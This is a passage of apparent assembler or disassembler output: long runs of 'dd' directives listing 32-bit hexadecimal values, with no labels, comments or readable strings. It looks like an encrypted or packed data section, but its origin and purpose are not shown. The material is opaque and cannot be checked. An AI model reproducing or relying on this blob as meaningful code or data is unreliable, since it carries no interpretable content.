85552788h, 0AA884EA0h, 0F732FFF5h, 6E5A0BCBh, 509F6A88h dd 14A37940h, 953A847Ah dd 0E110104Ah, 68602B05h, 37D90353h, 29915269h, 0DCCC3BF7h dd 0E5FE4E89h, 81146D03h, 0C3315EF0h, 9106D57Ah, 2A14A839h dd 0B572E8A7h, 0C320D7C4h, 1E8BBC8Dh, 0DD514C43h, 5BD8B912h dd 9888C15Ch, 0CE24F95Fh, 4D629487h, 0FBF32B5Bh, 8216B75Bh dd 221FE9h, 5FA161BFh, 0F831D117h, 0C3137E8Bh, 2FF1A858h dd 0A57CF909h, 1E0DADD1h, 3C415D26h, 0CF34BDE2h, 0CA184E03h dd 595E2F8Bh, 0D6E9894Dh, 2D0426F0h, 10C2164Dh, 9944D1C4h dd 0AEBCA804h, 5D115E42h, 5B8A0446h, 0B852F54h, 1ED8EFB5h dd 2AD6263Ch, 397700ECh, 49E902BAh, 1A99A060h, 1819965Ch dd 0D1CBB59h, 0F995EB81h, 99D909E4h, 0DFF529C8h, 15A7679Dh dd 348C25Fh, 0B716B270h, 6812E94Eh, 0BE743742h, 0DD50AAA3h dd 0A3CEB5E0h, 0FE2662B5h, 9F744BB7h, 0B35FDA90h, 0C90A2429h dd 364B5593h, 607BD05Dh, 3F7A5045h, 72C139E7h, 46FF3CF6h dd 0E9A2077Fh, 0A6CE1926h, 5BD82116h, 1C52ECFDh, 805AA2D6h dd 721DEEBFh, 1D0CBF78h, 0A0BEA39h, 977C313h, 4861D0E7h dd 0C8108A5Ch, 97C91756h, 55211327h, 0B2EF1E20h, 0AE3304EBh dd 623621D9h, 535A540Ch, 5F137D38h, 7DF82A63h, 0F4C8E913h dd 24B42C4Bh, 4377509h, 35F07F28h, 0C0A0955Fh, 40E57011h dd 0D5071CB0h, 2D5D6880h, 0A00D66E3h, 4EE9E829h, 1E607A9h dd 0C4D1FBEFh, 1275E9E7h, 533B49EAh, 9756D2DCh, 92177144h dd 0D202DCF6h, 41D430B5h, 9054EA7h, 5890C4ADh, 580E4DE5h dd 0BE450773h, 103FED00h, 0D2890212h, 1921BB9Eh, 402A35E9h dd 0DAA8C7EAh, 0FF6A03Bh, 6327E45Eh, 7794FE85h, 81A9B4F8h dd 0E95650B4h, 616BC45Fh, 144630E5h, 0A29253FEh, 6BB0C09Ch dd 2FE9674Dh, 18DB961Bh, 293D74A5h, 3651126Ah, 0E9243EA1h dd 2C8FA164h, 19F86D33h, 40894920h, 535059A8h, 4D995B1Bh dd 10206804h, 0F361E902h, 514A12C6h, 5C2DAC2Ah, 6A90C772h dd 561D09B5h, 39A4EF7Ch, 2D18F6C0h, 0BFAC007Fh, 4B1D5E17h dd 0CCF4A53Dh, 0FC2824F7h, 9A1FCD18h, 4FD77036h, 6883DDECh dd 5B10648Bh, 0AC3BB3D3h, 74C0C627h, 5073FE88h, 0F94DF47Ah dd 15B0B39h, 319907C2h, 3192533h, 6E6DBC6Ah, 5A6E477Ah dd 5540607Eh, 0F3D14F2Ah, 9948282h, 0AEF4E0B9h, 9EC28Eh dd 79E9731Ah, 276CA48Ah, 717A5452h, 7B12745Ah, 35D2CBFh dd 68258DBAh, 972678F2h, 68059947h, 39BA43E1h, 0B839488Ch dd 0C8299C0Bh, 31F6D846h, 0E91198BFh, 5DA19D31h, 0CC7688Dh dd 39E6AE70h, 1D3348BBh, 7CB10970h, 9EE8603Ch, 4CAF9013h dd 72EFAF64h, 0B1D2B2F3h, 3857E22Fh, 0C0B8E1DFh, 0F2EE8177h dd 41002F32h, 4250BB53h, 4FE97F63h, 57AD0FC0h, 1AC6847h dd 705854B1h, 2D7205F6h, 2A58013h, 5CCE6AA1h, 50688439h dd 7A5AE679h, 0B722C226h, 0BA4A1CC0h, 9A4F982Fh, 0E1811F52h dd 9762470h, 6501D9F7h, 78D61429h, 11A20420h, 26EDCBE2h dd 37CE0601h, 72C88999h, 0A731CB16h, 0E1B58DBh, 0F32A4021h dd 4CDEF76Bh, 5000BB4Eh, 816AE053h, 380270E2h, 0E94A5A71h dd 0C3987FEFh, 0EB16EA80h, 232DD2F6h, 0E90D8838h, 2B32AB5Eh dd 64F29291h, 9678DEF6h, 9CFA6122h, 52660008h, 7B6C7A86h dd 0B1B82501h, 9E305B59h, 59E7198Ah, 12C0A09h, 0BEB1880Dh dd 2990E821h, 0B7A18C17h, 0C1918438h, 37040614h, 805B3E34h dd 441431B0h, 0BDE92009h, 252859D3h, 0D042BCD3h, 574F0288h dd 58A387F0h, 515F0B26h, 0C13BC210h, 0A125585Ch, 12BF42D6h dd 0C741B44Ch, 0B9B7535Bh, 0D07E0BE9h, 3C5FEACCh, 28BF3FF0h dd 3C340828h, 85A6D4BEh, 0D339FBABh, 6C78B4A4h, 3CEDE907h dd 54955A91h, 29C464B8h, 0B70487C3h, 7105105Bh, 0E75880D3h dd 23FD0D7Ch, 847F8CA5h, 8C08186Fh, 4C954475h, 498628B0h dd 0C2F58B09h, 0E0D1004Ah, 0D019C62Dh, 918E84Eh, 0C5C4596Ch dd 6D5819ACh, 0E7E2146Bh, 2A0B0CC8h, 575B4A30h, 0E9C15EEAh dd 0C96F3845h, 21D921C2h, 0F54059CEh, 7C80402Ch, 0E9FE0902h dd 30A5B098h, 5A8B92D2h, 7B8274E2h, 8D73F4C9h, 9A1302A6h dd 0D308346h, 0B9552015h, 93F0013Bh, 0FBB9C5BEh, 0AD4A40D5h dd 39A0B54Dh, 250673CCh, 6060407Ch, 25B497E9h, 66852C05h dd 14B790C0h, 0C0DF5EF6h, 0C7309501h, 2C4E0283h, 4471E926h dd 5AEB2556h, 38232C73h, 69DE6BE0h, 5F3BCA42h, 299D1CC4h dd 727BFECCh, 0BD20FD5Ch, 3863BC00h, 0C7A8BA23h, 0E00B4B14h dd 0D74B8918h, 4A4CC4B3h, 93117C07h, 0ECF76032h, 3401AB67h dd 641FB951h, 693069EAh, 24081314h, 0FD750202h, 10407CEEh dd 3494F218h, 20587225h, 7E988717h, 5B246104h, 850011Fh dd 94E9FF62h, 2860B5EAh, 1D9EC3A9h, 0E2E95449h, 0E44BC917h dd 8FECFE0h, 547D9327h, 2B909889h, 5F5CF889h, 58C614CCh dd 41D297E1h, 0BE15F016h, 0D3E91D41h, 87DA4AAh, 6007FCC1h dd 3630168Bh, 0C8123C09h, 0B910E916h, 0E2F70FB8h, 75DF09D4h dd 35493318h, 5685A4B5h, 55886CFAh, 212FE8B8h, 0A62251C7h dd 3CA710FCh, 1F362B9h, 561083CEh, 5E0D2754h, 5DE9CFB0h dd 8148E14Ch, 611C7D6Bh, 0C75A969Ch, 30595E31h, 205568D2h dd 4FB2F3B1h, 0D5A6FF58h, 1D90815Fh, 276B683Ch, 44C789Ah dd 80D7925h, 27B8309h, 746104B0h, 0D8F76901h, 0F896E957h dd 1A993CBAh, 14150B86h, 0BE0C40EEh, 6B5B0980h, 0E400D8BEh dd 0E96E0355h, 4848BAB3h, 8A5FF25Dh, 25C1160Fh, 0BE9FA8B3h dd 566C0FAh, 7C09271Ah, 0C22D9C9Ch, 9402ABABh, 0FDE92DB4h dd 88B91E00h, 1A13FB65h, 85CDCB29h, 6BB242A9h, 1B09C058h dd 7561110Ch, 0EE19E91Ch, 0EB0C7901h, 18715A6Eh, 0B42DCF6h dd 1145AE4h, 0F25A9114h, 2B5FFD01h, 3E150E2Dh, 0F5A504ABh dd 8939EB13h, 0E7D1B305h, 0B222F329h, 1C0AD725h, 6CD6C9FAh dd 71A4D292h, 63D70BC2h, 57DC5509h, 0AC99B113h, 41F2E830h dd 9C953F9Dh, 0E50D61FBh, 0E97A602Bh, 13986C49h, 4E05851h dd 0CC461280h, 5A56BF1Ch, 2B7FB00Eh, 8A43A90Ch, 2D8350F9h dd 99D71F38h, 0E6F0C801h, 0EBD39923h, 0CEC0627Ch, 0CB279DE9h dd 0C1DEC311h, 1F25FCA5h, 84CBC987h, 9AE1F727h, 0C44670B6h dd 31BD2917h, 38D30706h, 65C3775Dh, 0C429898Fh, 91786D5h dd 5BF2FA95h, 0AC9F1358h, 5AE9B855h, 0B84C5C8h, 0C5CC03FFh dd 209F8EE6h, 98169329h, 8C1A951Dh, 136BF500h, 0A8C93FFAh dd 0D05DC81Bh, 0EA77B2F1h, 6E299D05h, 73C54D8Fh, 2D22F9DCh dd 0D3641902h, 39AD4A2Eh, 1F7AAD92h, 0D0466C1Bh, 17AECFEEh dd 59C491F9h, 3FE61383h, 68D9714Eh, 0BFA33ADBh, 9082445Eh dd 8F817402h, 3326B5DAh, 1A40BA02h, 9D617CE1h, 0DF633205h dd 8B401E12h, 0E34BC9BDh, 10F9005h, 22907D50h, 62AEC3E9h dd 0EA71054Ah, 33D7EBBFh, 9227F649h, 0F1C100F9h, 1576C4D0h dd 35670500h, 322D3614h, 6875095Dh, 9F50A2E9h, 988AB43Bh dd 4EE337E1h, 9ED18340h, 83A22848h, 0D920478Fh, 6638B22Bh dd 3B3916C0h, 0ED068154h, 7387977h, 20015E0Ch, 0FD4066F4h dd 0FCE9B209h, 9205383h, 86B153E8h, 0FD222509h, 5463DDAEh dd 1C68EFBEh, 439D4149h, 0F8070287h, 0F782E501h, 1273D249h dd 4913D75h, 138A4B1Eh, 38D44DECh, 7E13F2Ah, 301EC680h dd 33CFA3F7h, 0E50CC376h, 6035AC51h, 4C8013BFh, 1204BBA3h dd 83A31CD8h, 0B041EC4Bh dd 0A8A6F7E9h, 1367EDDCh, 0C03B5745h, 0F65E5CC4h, 98E96109h dd 50816BF1h, 0F7EBD742h, 0E7D914A5h, 28BF6E88h, 0B233EE6Eh dd 505A4C2Ch, 915D9309h, 0DA3A4483h, 6BE3B05h, 78E8495Eh dd 0B70D7D04h, 0DCCA8045h, 6B4EC94Ah, 0EE29B381h, 0B006A61h dd 4F38685Dh, 0BFC5300Ch, 424EBE12h, 0FDE10701h, 0C2FBDE68h dd 0E4AC61D9h, 0E873D93Ah, 43D60FF0h, 0F082DA1Ah, 3C939EF7h dd 295E1DBh, 91545A0Ah, 24B8DC53h, 0A31DAF84h, 875516E3h dd 312CF4B7h, 0B6C5969Bh, 0FEED2593h, 245D6585h, 49FC89D9h dd 0D3896E59h, 1400242h, 23605168h, 860278F2h, 0E96BF537h dd 0E655E76h, 28E9D529h, 0B0004950h, 9DB7533Fh, 0EC77CF80h dd 245401F6h, 0EFC05B01h, 0F3F7F005h, 79FD5A1h, 0D8FE8209h dd 515D0209h, 0A96EB5FBh, 95B1F8F8h, 8CA452CDh, 60B8508Fh dd 2D15DA6Ch, 530BD67Fh, 2DB8CB32h, 0B83E9002h, 45C42F1Eh dd 804EE4Ah, 2462EF59h, 3A65D092h, 4CA8ABBh, 0E2936767h dd 5A5713EAh, 0DD200EACh, 6698B612h, 0A1281FE0h, 0EB698AB8h dd 5BE90206h, 0C578D133h, 20646C9Fh, 9501E4D7h, 737AE581h dd 76202179h, 27C6E88Ch, 0C562999h, 25FC4425h, 57CDAF4h dd 0A53D45E9h, 68845A09h, 0F192E4D5h, 75213914h, 328D13BCh dd 41E161B4h, 0F4E8310Eh, 2976B21Ah, 4476CE07h, 60A42CEBh dd 5F1D3BFCh, 1996CD41h, 2889F430h, 9266D024h, 0F910B409h dd 6E06823Eh, 0CE105D53h, 0C480801Bh, 0EE0FB273h, 0A6E62843h dd 0B45EA994h, 0E7825648h, 80F529D7h, 0AF4AC42Bh, 0FEDEDE62h dd 137B7C12h, 0F8ACD330h, 0B130BFBBh, 73A88A81h, 0C46B4B13h dd 5A070239h, 0F882EBC1h, 2B568620h, 152D5C40h, 2FEA1D38h dd 59038248h, 5460661Ah, 5509C3A5h, 4D031D2h, 4DADD3B3h dd 5FD3E22Ah, 50A2E654h, 7B18137Eh, 430C3DB6h, 6C820D70h dd 5EEC101h, 14021008h, 459A6A62h, 0D9C9C3E2h, 0E008AD4Ah dd 48792E2Eh, 0D11CC966h, 58F1D85Ah, 0D84E27B9h, 0CEC55712h dd 0F7A06CF8h, 899E57D7h, 91C5149h, 646269E9h, 812FCD57h dd 2963BBBFh, 28DFC97Fh, 4AFCB4D0h, 9CAF5017h, 46276877h dd 25E3C65Bh, 30546702h, 0C96560CFh, 12702D17h, 0FFEC660Fh dd 18BB7F00h, 1C5C327Fh, 0D2E9EB31h, 2B8979CFh, 646809F1h dd 925AE9C4h, 0C9755EDFh, 45982156h, 0D268B689h, 3BA55902h dd 0EECD315Dh, 5186BCB0h, 795C0287h, 87784B24h, 82525331h dd 6AC05662h, 0F62520E9h, 0B661595Ah, 8000F8A1h, 0EBE62AC3h dd 2F0CE364h, 1350A5CBh, 4847B074h, 5702D863h, 46278C1Bh dd 0A612FB41h, 0E41BAFFFh, 8C24E16Dh, 47C50CAFh, 20A4B324h dd 52D588C1h, 0F020EACDh, 0FEEDB238h, 0E0C017C8h, 92460407h dd 0B4A812DBh, 0ADD8681Ch, 77E2EEC6h, 4A7D621Bh, 4A0F8EA8h dd 6F08B031h, 0A0531F40h, 0E42C8CF9h, 5E60901Eh, 58B8D8BBh dd 2F9E2D06h, 2C177Dh, 1E2C2589h, 0C15C035h, 0F0314E04h dd 14B43BE9h, 0F2594BCFh, 0B268C250h, 919ADD3Bh, 0FDF84B4Ah dd 0CE5DE975h, 2D1D4F00h, 30F30506h, 3E03310h, 181F0609h dd 2912FD5Bh, 65135ABCh, 0ECDAA442h, 0DD856B3Ch, 2E680A19h dd 0C4698C12h, 6D13736h, 52CA6C35h, 2FEC1650h, 612D3258h dd 7F4C6218h, 0EEF13C20h, 0FCA49ACCh, 252DE4ADh, 74896475h dd 8351885Eh, 49045ECEh, 0BE66CD20h, 5CC316C3h, 2F5541C6h dd 0E4C6B454h, 0C1330DEh, 836035ABh, 9C73D8AEh, 54B41518h dd 62026D40h, 29D6283Ah, 8067B700h, 0E1A85EE7h, 91C7D8A7h dd 1CBDE913h, 0ABD29AA3h, 21A7D04Bh, 58C201B6h, 72988FBDh dd 6CCA3B27h, 317B4BE0h, 6B17062Eh, 69027288h, 31BC9800h dd 8103474Ah, 646F2DE2h, 87EAB06Dh, 6B84307Eh, 0D4E3418h dd 0E04A0F27h, 3825C2BEh, 0E9930902h, 0C3C1D28Eh, 41D284DCh dd 317A5E5Bh, 4E31A93h, 0BEFBCC07h, 3250894Bh, 0F81D6308h dd 0FE1FF5BAh, 9FD258F7h, 0AFB91F7Bh, 0CA31CFF2h, 2B055989h dd 1009E2D3h, 3262386Ch, 1257564Ah, 3720F718h, 163D6CC2h dd 2CF22E76h, 0D509D113h, 521116AAh, 925DB2A7h, 0C92FFF39h dd 0DDE02EE4h, 0CC7C5EF6h, 9DB05E78h, 6A29EB0Bh, 0A5B7F68Eh dd 0C7203FD0h, 0A259612Fh, 605435E5h, 0E16AEE75h, 5E16620Dh dd 0D1892FBDh, 982F53C5h, 5D5E684Dh, 7C80EE44h, 0E912C83Ah dd 8734ED24h, 895C2A7h, 0A24499A1h, 7FC47EECh, 0FB6800D4h dd 0F474D01Ch, 533DBAFEh, 55C8553h, 0C8DB6F3Bh, 1DF25695h dd 0DE804058h, 0D5E11517h, 0F978297Eh, 12052EEAh, 91D0F1B2h dd 5E34685Ah, 3391CC11h, 7ED6F626h, 569BE90Bh, 0D0CF8FEEh dd 0D14D1940h, 0DF1A87EFh, 7508DBF7h, 0B99F7263h, 0BDC78B02h dd 2C128E5Ah, 5D0BAE6Eh, 0AEB85C80h, 0D0ECC46Dh, 74E5681Bh dd 9B3C6C9Dh, 3222441h, 455D7940h, 6EFFEDE0h, 0E96C660Dh dd 0CD2FF101h, 486E66F1h, 16104EBEh, 105989A6h, 4FBF0F26h dd 100ADC8h, 30E36852h, 0F02F1D25h, 3418905Eh, 0F0C213Eh dd 0A1ABFCD8h, 0BD28BB8Ah, 31C39A98h, 0B7A03AE0h, 7A342A20h dd 0B7B178F9h, 41F5FE0Ch, 2C5FE5FEh, 0CB09A5C6h, 0CBD202D8h dd 42E46217h, 0F4CD90A2h, 0D022C96Fh, 0B94CBF13h, 5AD2444Bh dd 299568ECh, 6932579h, 76008F95h, 0FB69879h, 31F75C31h dd 4A2A8B4Eh, 5CCB05BCh, 4D626759h, 6540079Ah, 0C25994A0h dd 0E9EA3319h, 0A30FD182h, 2288AE54h, 0B20B2D7Bh, 0E978A57Ch dd 3D414A02h, 5AF689AFh, 0C7A7D52Dh, 0FAB165E9h, 0EDCB4773h dd 4DBB38EFh, 0B4589C40h, 1BFAC339h, 0B7297F13h, 824E8A9h dd 0A559AD88h, 555DEE42h, 2D063094h, 31A5076Ch, 2BEF12D2h dd 7C9E0460h, 903FACCCh, 0FEF54B27h, 81F0853Eh, 6B7AE361h dd 34BF8E29h, 0AD0E8316h, 11450084h, 0F3811B4Eh, 0D84A268Fh dd 0E10F166Eh, 689C18E9h, 0DB7E7331h, 0A207B98Bh, 0DC56751Ch dd 0FCA8A365h, 0E4314B3Bh, 0F7C73127h, 494A18E2h, 5B9D27Eh dd 11D66840h, 421030BAh, 0FE05D9F6h, 0A4FDE9C1h, 0DA623FA3h dd 5C04E55Dh, 902723EEh, 5B285D5Bh, 3A2E41FCh, 277ED3CAh dd 7BD405C3h, 7FF977E2h, 10984691h, 0E40999EFh, 0D357778Dh dd 4127E58Ah, 81EBCD1Ch, 0D5ACC629h, 0C56E97D8h, 3428AF46h dd 51D744E9h, 2373B902h, 78411B13h, 0E1C104D0h, 0C44F442Ah dd 0D18EE8F7h, 57551FF8h, 0C8525B52h, 0CF14D2F8h, 48013F97h dd 1294977h, 0CF21CEh, 0FA3EE908h, 0F029E4B5h, 0ADDD56B1h dd 0A8D2A552h, 4EFD22Bh, 0AC3183h, 215D5E55h, 8D789CF1h dd 46290754h, 36093A20h, 7C60C640h, 0FD2D1709h, 47E909ADh dd 62DBFCC3h, 36D6A93Ch, 0B43DE9D8h, 656525C6h, 0EB753025h dd 0F05BC48Ah, 402FFD05h, 611E3AB4h, 0A3C034B4h, 294C247Eh dd 72D51C8h, 28CB02h, 6856E389h, 186EB62Dh, 2F67441Fh dd 78611BA2h, 0A27FDAE9h, 55D6B056h, 4884EEAFh, 0E11FFCAEh dd 105F757h, 1336E743h, 84636044h, 6DF49D4Bh, 0B9F64AEFh dd 5ED2DE91h, 0CA7BB5F1h, 54ED92BCh, 0A367BAD3h, 2C0178A4h dd 0D1E8D02Ah, 96F13B83h, 2ECD8FDh, 65B12451h, 758F112Ah dd 834A671Fh, 93F702BBh, 0F4A16CD6h, 87D112A0h, 2661091Dh dd 50A62EAFh, 85081921h, 31B901C9h, 2537EB29h, 5365EC78h dd 2533CB58h, 96DAEE07h, 9FC92DABh, 55B834D5h, 6DE18DB7h dd 0EDCE042Fh, 0B73CC297h, 2B5F0F89h, 68836089h, 0BD9944Ah dd 0B52062E9h, 87C68059h dd 7EF6F0FEh, 0F925AC94h, 2E0CEDAEh, 612973D2h, 0B135CA68h dd 9902C2Ah, 850FDB04h, 94D1ABCBh, 81886761h, 7427F42Dh dd 7FB1029Ah, 32C01F34h, 0C12DEA83h, 0E1EF8879h, 7253F425h dd 0E92F687Fh, 0B7116066h, 7D3F3DCEh, 6C1E325Ch, 0F8ED182Bh dd 70F51C51h, 20ACE429h, 0EE872708h, 0BFFD6C60h, 0E9898209h dd 0F1BD42BDh, 98344ABh, 6922D921h, 92B80277h, 7042093Ch dd 4D347EFAh, 0DBFEEE77h, 30921B9Dh, 68F2096Bh, 8CDB23F2h dd 0E46FD124h, 0CBAA1949h, 6F454E50h, 77ECE6A4h, 24887FCBh dd 116882EFh, 96573E71h, 9E92F65h, 0A35C4E0Bh, 9A17AC2h dd 0D8F489CAh, 3A2CDE9Dh, 9C6DB981h, 3F43574h, 0F8144F71h dd 81100F5Fh, 18019277h, 0E7C14F58h, 1D48C02Eh, 300BE45Eh dd 0CECC10E9h, 61F7F688h, 0E2C116D7h, 58C22F06h, 0DCA3892Dh dd 0D9EB010Ch, 0D83B0A7Ah, 2018E1CBh, 7E1851B3h, 67DB2C4Dh dd 306E03E8h, 0C0913FAh, 63D1DE5Fh, 8239A0FEh, 10016451h dd 895B20EAh, 5394D0h, 7AE7069Dh, 5604C201h, 11392BBEh dd 0FD01ACF8h, 0E937CA34h, 6E57E61Eh, 0B240B5D3h, 0DA829395h dd 438E19D6h, 74583415h, 0A5002511h, 2D52AD5Fh, 60417957h dd 4BD06A0Dh, 29B7248Dh, 0DBE4A3AFh, 0B83600B6h, 14F40699h dd 0B52F3540h, 2F95C32h, 0EEC158C6h, 0CF985463h, 340C7A2Dh dd 961A23E9h, 9709585Dh, 47F4BE26h, 92ECF2E5h, 0A881625Eh dd 2953C9B4h, 0E3D1F512h, 0D4A342ADh, 77C820B6h, 5B7F243Ch dd 78F301E3h, 48C056h, 12D2677h, 40BA526Dh, 3EB39F0Bh dd 0AC0B9AE2h, 0DFC63C68h, 0A4117FCh, 0E32E55F5h, 54BE3862h dd 11B709ABh, 0F42A5EF8h, 8B9D4949h, 8436292Ah, 640FC725h dd 8F06326Fh, 0C35FDF75h, 0E15F7DD3h, 0CC2ACAA0h, 0BD9A79C4h dd 46035A78h, 88520434h, 0DFF592C6h, 0C25A9CB0h, 58FCC783h dd 6AB309E6h, 0E30413D9h, 3774EA2Eh, 1C6964A0h, 8B4D458Ah dd 2484DDF7h, 0B0B9007Ah, 587B3411h, 0CA4C4301h, 8620824Ch dd 3FBAE6A1h, 0CC5E100Bh, 0E1C7052Dh, 0C023747h, 0F1170DE2h dd 0ECF1304Bh, 5AAEC405h, 22D7FEB7h, 0D830E9C3h, 1C8B25A1h dd 0FED1CC5Ch, 0ED105D62h, 6EBE0274h, 9035E80Fh, 817EB9B7h dd 37FEE31h, 0BD54320h, 11EE8012h, 0F1F7B2F8h, 0FA9364E8h dd 0B52850B5h, 80696059h, 0C1800CBDh, 90C9E658h, 0B2272456h dd 0E7626EA2h, 6BC06850h, 581F7DEEh, 0E9C4C083h, 31AEA81Dh dd 0F3A47678h, 2CE54ECh, 4A691E2Dh, 3932D831h, 0B35270E9h dd 4F60AF27h, 309DF828h, 0C0ABFC82h, 431286FFh, 0DCE35644h dd 0EF7231C1h, 2849949Eh, 7E3C0C1Bh, 264E0AB0h, 0B5AD9495h dd 16535D1Fh, 5CA5C2F9h, 6A0C5341h, 2C3AD58Ah, 6E5044CFh dd 0E28EAFDh, 29D409E6h, 4710462Bh, 5DA001EEh, 68952AACh dd 3D415690h, 949350BBh, 2540F97Fh, 2DAEC905h, 0BCB8532Eh dd 567C0610h, 180C46B8h, 18DF74F7h, 13105AEBh, 880F1417h dd 0F5934A0Dh, 1C08067Bh, 0E5148Bh, 68525720h, 0D12D651Fh dd 6008D10Ah, 693363F2h, 94884C4Fh, 877D49E9h, 4B176813h dd 42D65421h, 0A6E535Ah, 26066855h, 1CEF00F2h, 2932A51Bh dd 82AA0EDh, 534EE9FEh, 5EBE0800h, 2408667Fh, 2DEDEF7h dd 121B678Bh, 0D4514275h, 0A9AC3AB8h, 0BCD0132Bh, 0B5B896A9h dd 85442ADh, 3E096F6Ch, 7F22FC1Bh, 58505282h, 35D62461h dd 7FD801CAh, 0D2787CE6h, 7AC05849h, 0B3405F7Eh, 0D3AB4208h dd 0C072F6CDh, 0E91A523Bh, 34695D0Ch, 1CB53E2Dh, 492CD0F5h dd 2C47DC5Bh, 0BB618082h, 50E533B5h, 14C7F21Ch, 0FE30E15Ah dd 0DF435700h, 0A316E94Ch, 25825AB4h, 4817554Bh, 9D5E0898h dd 6F570969h, 0E90B009Bh, 0BFFC3286h, 0E85FED93h, 3C4D44DFh dd 2D6E0E80h, 0A2883E85h, 90E9138Eh, 858A942Dh, 3EDCA198h dd 77BDF357h, 0B114EBF2h, 672302BDh, 42E06940h, 0DB792AF9h dd 14F50CC1h, 0E3F0368Eh, 0EA420259h, 6BE9430Fh, 7925845Eh dd 43D2E985h, 66812575h, 26058AA0h, 17F8FCF3h, 2D8E43B0h dd 0BEA2CBBh, 6782C881h, 0D86A707Ch, 0F1CE925h, 0F5AB81B2h dd 43BA03Ch, 0F2D403A6h, 6DF0968Bh, 0E928407Ah, 8884292Ch dd 2C093197h, 0F4A48921h, 333FC253h, 4A530500h, 0AA3E4CDBh dd 0D1B57B20h, 71CE08DDh, 0F7915900h, 0ED5051D0h, 0C17C1E60h dd 0E767EE89h, 0A5D9D794h, 3E416E90h, 212575DBh, 3BD16030h dd 81073A1Bh, 7C7C2ACAh, 29564882h, 9D611ECBh, 0DC1F32CAh dd 73BFC0AFh, 770E3E03h, 0F12C5E98h, 71F055E6h, 0EA85C860h dd 1ADA56B3h, 0B6F20179h, 0BE5C9ACAh, 2EFA494Fh, 281FC5DEh dd 9C305383h, 0E941D8EEh, 10B00E2Eh, 9CACFFA8h, 11E33A97h dd 91563DF6h, 4A72A096h, 4DB380BEh, 0D2AA49FEh, 3006B45Dh dd 0EB173091h, 6F484750h, 0BF9F12BEh, 0A6233ABh, 3E356748h dd 0FEFB92F9h, 0E883FC44h, 285399BFh, 558B963Bh, 0FE42110h dd 93FF380h, 5F1778B7h, 9033695Ch, 5A138490h, 1356A220h dd 0FDE996BFh, 82BD3A22h, 6A0B5965h, 0F4DF89F6h, 0C84625E3h dd 2E2930BFh, 3C129A03h, 9717E0B2h, 400022D5h, 0BCEAF585h dd 0F74282BCh, 680075DAh, 916F55Bh, 0A4E4F24Dh, 0F651C381h dd 9EDA5D02h, 0E208C591h, 0CFDA2F32h, 72CC682Fh, 0D6472619h dd 0F75B9334h, 38BC14Bh, 673863E9h, 8864BE78h, 5200702Eh dd 0F58889B6h, 0E8E05Ah, 0B7535966h, 0BFE780F4h, 0B1E3E92Ah dd 0C2C2C39Fh, 43CCA409h, 308867AEh, 0C1138F0Fh, 8105E201h dd 2066E4C2h, 398B0CBCh, 0DAF4141Ah, 8901A10Bh, 662F000Dh dd 96768D74h, 3AC301BFh, 0BE183D03h, 37BA9C0Ch, 20FB7AA5h dd 303BADACh, 8C4299D7h, 0B832CE99h, 0B80321C9h, 241BCD2Dh dd 0CB04D9F7h, 58F9009Dh, 9316851h, 59261714h, 0E7021441h dd 52BBF8CAh, 582DEC9Bh, 8062A74Bh, 8B562EADh, 80835A9h dd 25542594h, 4A31E978h, 0E562E91Bh, 3588BAAh, 3074DCBFh dd 0D84E3561h, 4F30EC0Dh, 62B0CE35h, 30033433h, 103A841Eh dd 0CF20DE08h, 8049B701h, 0F828FAF7h, 2C398C6Fh, 0D1683F12h dd 77D4ADA8h, 0BCF47225h, 0D9F60F07h, 0C9FED120h, 0CFFC60E9h dd 0B545F581h, 93CF193Dh, 0FF3CB9C8h, 4ACEAA58h, 6880B064h dd 317A4BBCh, 2F8774D7h, 1F8675Dh, 0C15C2E77h, 1BFC08E1h dd 17649DDAh, 92413998h, 718C2623h, 6CEC5C0Bh, 0F997085Fh dd 0CEC85BD4h, 426A94C1h, 0D1F42F41h, 5280574Bh, 1DF61EB4h dd 62022579h, 87E96BB3h, 13B4C6D8h, 0AC556A68h, 79FC1B8h dd 42866713h, 2ECBBEE9h, 28F6419h, 0C3906EE0h, 0B7BF101Ch dd 0D410CF48h, 0CA0338F1h, 0B075CF44h, 0B8BAEF41h, 0E3D7FE62h dd 5639F2B5h, 2AF12F4Ch, 0C48208CDh, 45123BA1h, 7954CBE0h dd 88180083h, 356AAD2Fh, 0A225FAB2h, 8096C2B4h, 0E032EA27h dd 6857003Ch, 26B00B8Ch, 3B9E50E9h, 0C86153Dh, 7356189Bh dd 18D2E585h, 0C558E5Fh, 6A067EF9h, 4EDC11Fh, 56A20170h dd 30E90C3Ch, 0CFA92C73h, 0E2D250D8h, 1A1E1169h, 7F2C102h dd 4C76580Eh, 30BF08A0h, 0B8C1383Dh, 816DE60Dh, 121CB2FEh dd 8C622BB8h, 5E14CC57h, 0E208E154h, 856F22FDh, 0B3A07FC6h dd 53B76D3Dh, 0BF1CE4BFh, 0E917EFBEh, 0ECEDB253h, 1F38CD84h dd 69754F89h, 0A52B31CFh, 0FB3C3139h, 89001892h, 4B3A68E2h dd 0C5DEE853h, 6AF987E7h, 9C38F079h, 0DD310F00h, 0E3C743E6h dd 799D5BEEh, 0A93CC78Bh dd 0FCC61CB1h, 1C178456h, 9810FE01h, 5EB14C08h, 76AF5C2Dh dd 2A0595C1h, 0F0D3BFA2h, 6FFD8763h, 1AC32B8Dh, 3F99E921h dd 4E0850DEh, 771028D5h, 2AC4243Dh, 518411B1h, 2FD0CD74h dd 0D9D0D5Fh, 5823C6EDh, 2D7C8153h, 99D493B3h, 0E9130973h dd 1968A0A9h, 73003D4Dh, 61CE8170h, 60281605h, 103E8646h dd 8EA07D34h, 0DB7D5A69h, 0B822976h, 31540508h, 12230AC8h dd 9CAF280h, 6D6AB662h, 9DF604A3h, 6A4F757Fh, 535AA500h dd 5AFE3AB3h, 60CCA8CBh, 7C8EB922h, 7727488Dh, 0A6952209h dd 8A04CC5Ch, 0E5C14C3Bh, 23660703h, 149FA74Ah, 80A7B355h dd 6F1B7BDAh, 1644032Dh, 0D0F7061Ch, 2DFC0458h, 42E159B2h dd 57D6B1D8h, 2A2068C1h, 21B05307h, 0C240297Ah, 1DC53980h dd 0AFD6EB96h, 3D71885Dh, 6E3C7EE9h, 0FC048313h, 0B468E067h dd 60599C6Ah, 0E620B93h, 294AE973h, 0C4FA4774h, 7ECBBEA4h dd 0FD409C2Dh, 7F00F635h, 5F254496h, 166AE123h, 0E0D2E948h dd 0A50ABFB3h, 0AD715E81h, 977C1A3Eh, 82A51F3h, 20316BA4h dd 412B0BD5h, 53445F26h, 94CF406Fh, 73600166h, 7E68E50Ch dd 44E6902Dh, 5848C5FEh, 0F1F7E1C0h, 91A25D30h, 0B8C13161h dd 74FE04A7h, 163A82ECh, 7EF45FD8h, 570838B9h, 14CB8190h dd 7056D621h, 